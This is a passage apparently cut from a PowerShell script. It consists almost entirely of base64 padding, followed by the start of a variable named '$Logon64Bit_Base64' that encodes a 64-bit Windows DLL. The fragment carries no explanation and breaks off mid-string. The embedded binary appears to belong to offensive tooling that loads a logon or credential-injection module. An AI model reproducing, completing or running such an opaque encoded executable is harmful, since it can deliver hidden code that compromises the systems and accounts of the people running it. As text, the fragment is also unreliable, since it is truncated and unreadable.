AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" + $Logon64Bit_Base64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABYO5dAHFr5Exxa+RMcWvkT7Zw3E0Fa+RPtnDQTFVr5E+2cNhM7WvkTHFr4E0Va+RPgLUATG1r5E962KhMfWvkT3rYzEx1a+RPetjATHVr5E962NRMdWvkTUmljaBxa+RMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQRQAAZIYGANdTiVIAAAAAAAAAAPAAIiALAgsAAL4AAADyAAAAAAAA5C4AAAAQAAAAAACAAQAAAAAQAAAAAgAABgAAAAAAAAAGAAAAAAAAAADwAQAABAAAAAAAAAIAYAEAABAAAAAAAAAQAAAAAAAAAAAQAAAAAAAAEAAAAAAAAAAAAAAQAAAA4GIBAEUAAABEWgEAUAAAAADAAQDgAQAAALABAHgMAAAAAAAAAAAAAADQAQCsBwAAENMAADgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACQRQEAcAAAAAAAAAAAAAAAANAAAHgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAC+9AAAAEAAAAL4AAAAEAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAlkwAAANAAAACUAAAAwgAAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAAIDkAAABwAQAAFgAAAFYBAAAAAAAAAAAAAAAAAEAAAMAucGRhdGEAAHgMAAAAsAEAAA4AAABsAQAAAAAAAAAAAAAAAABAAABALnJzcmMAAADgAQAAAMABAAACAAAAegEAAAAAAAAAAAAAAAAAQAAAQC5yZWxvYwAAYBMAAADQAQAAFAAAAHwBAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA